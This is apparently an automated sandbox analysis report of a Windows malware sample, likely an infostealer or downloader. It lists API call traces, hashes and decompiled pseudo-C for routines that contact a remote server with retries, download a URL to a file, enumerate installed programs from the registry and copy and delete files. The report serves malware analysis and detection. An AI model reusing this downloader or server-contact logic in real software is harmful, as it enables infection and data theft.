Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 72B186B5A51208BBCB10EBA4DD8DFEA77B9AF4C704F008598F20597251CB34DAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 43.8, APIs: 29, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00877950), ref: 00406CAA

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,00877828), ref: 00408DEA
lstrcat.KERNEL32(?,00877818), ref: 00408E10
lstrcat.KERNEL32(?,00877828), ref: 00408EC8
lstrcat.KERNEL32(?,00877818), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00638E50, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00638E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00638ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00638ED3
lstrcat.KERNEL32(?,0041A48C), ref: 0063903A
lstrcat.KERNEL32(?,0041A15C), ref: 00639060
lstrcat.KERNEL32(?,0041A48C), ref: 00639118
lstrcat.KERNEL32(?,0041A15C), ref: 0063913E
lstrcat.KERNEL32(?,?), ref: 00639152
lstrcat.KERNEL32(?,004191EC), ref: 00639164
lstrcat.KERNEL32(?,?), ref: 00639178
lstrcat.KERNEL32(?,004191EC), ref: 0063918A
lstrcat.KERNEL32(?,?), ref: 0063919E
lstrcat.KERNEL32(?,004191EC), ref: 006391B0
lstrcat.KERNEL32(?,?), ref: 006391C4
lstrcat.KERNEL32(?,004191EC), ref: 006391D6
lstrcat.KERNEL32(?,?), ref: 006391EA
lstrcat.KERNEL32(?,004191EC), ref: 006391FC
lstrcat.KERNEL32(?,?), ref: 00639210
lstrcat.KERNEL32(?,004191EC), ref: 00639222
lstrcat.KERNEL32(?,?), ref: 00639236
lstrcat.KERNEL32(?,00418BC4), ref: 00639248
lstrlen.KERNEL32(?), ref: 0063925A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: dacab4314bb08ac6df4d3d78c060cd9a31ba03540e06c0bcebf93cd5c84a9827
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: 79C162B1A01218AFCB24DF64DD89BDE77B5AF49704F0081D8F209A7291C7759E90CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,008777E8), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,00877808), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00877708), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,00877718), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00877748), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00637D10, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00638AFE,?,?,0041ABAC,00000000,00000000), ref: 00637D29
lstrcat.KERNEL32(?,00414018), ref: 00637D3B

Part of subcall function 0063BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0063BB21

lstrcat.KERNEL32(?,00000000), ref: 00637D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00637D66
DeleteFileA.KERNEL32(?), ref: 00637F8C

Part of subcall function 00637480: memset.MSVCRT ref: 006374D2
Part of subcall function 00637480: LocalAlloc.KERNEL32(00000040,?), ref: 00637521
Part of subcall function 00637480: lstrcat.KERNEL32(?,00000000), ref: 00637587

lstrcat.KERNEL32(?,00000000), ref: 00637E47
lstrcat.KERNEL32(0041A838,0041A334), ref: 00637E5B
lstrcat.KERNEL32(0041A838,?), ref: 00637E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00637E7E
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00637E91
lstrcat.KERNEL32(0041A838,?), ref: 00637EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00637EB3
lstrcat.KERNEL32(0041A838,0041A144), ref: 00637EC6
lstrcat.KERNEL32(0041A838,?), ref: 00637EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00637EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 00637EFF
lstrcat.KERNEL32(0041A838,?), ref: 00637F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00637F25
lstrcat.KERNEL32(0041A838,0041A14C), ref: 00637F38
lstrcat.KERNEL32(0041A838,?), ref: 00637F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00637F5D

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: dbc79051deb56172bc62f0c49c51b24f292feb4779b5dc1d2e0a512a20fc4310
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: 3C6151B1611104AFC710EBA4EE49DEA37F9EF4C305F008568F60583261D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,00872348,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,00872348,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00872348), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

200, xrefs: 0040534D
https://, xrefs: 004051EA

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x875f48
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x875f48
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x879128
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x879140
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,00875F48,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

?, xrefs: 0040B357
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.zip, xrefs: 00411586
.arc, xrefs: 004115B7
.tgz, xrefs: 00411613
.gz, xrefs: 004115FC
.lzh, xrefs: 004115CE
.zoo, xrefs: 004115A0
.arj, xrefs: 004115E5

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

200, xrefs: 00404AD9
https, xrefs: 00404A28

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 006353F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0063541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00635443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0063547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006354A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 006354C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00635503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0063552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00635577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00635593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 006355A9
Sleep.KERNEL32(00007530), ref: 006355C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006355EC
lstrcat.KERNEL32(?,00000000), ref: 00635628
InternetCloseHandle.WININET(00000000), ref: 00635634
InternetCloseHandle.WININET(00000000), ref: 00635641
InternetCloseHandle.WININET(00000000), ref: 0063564E

Part of subcall function 00634A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00634ACE
Part of subcall function 00634A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00634AF6

Memory Dump Source

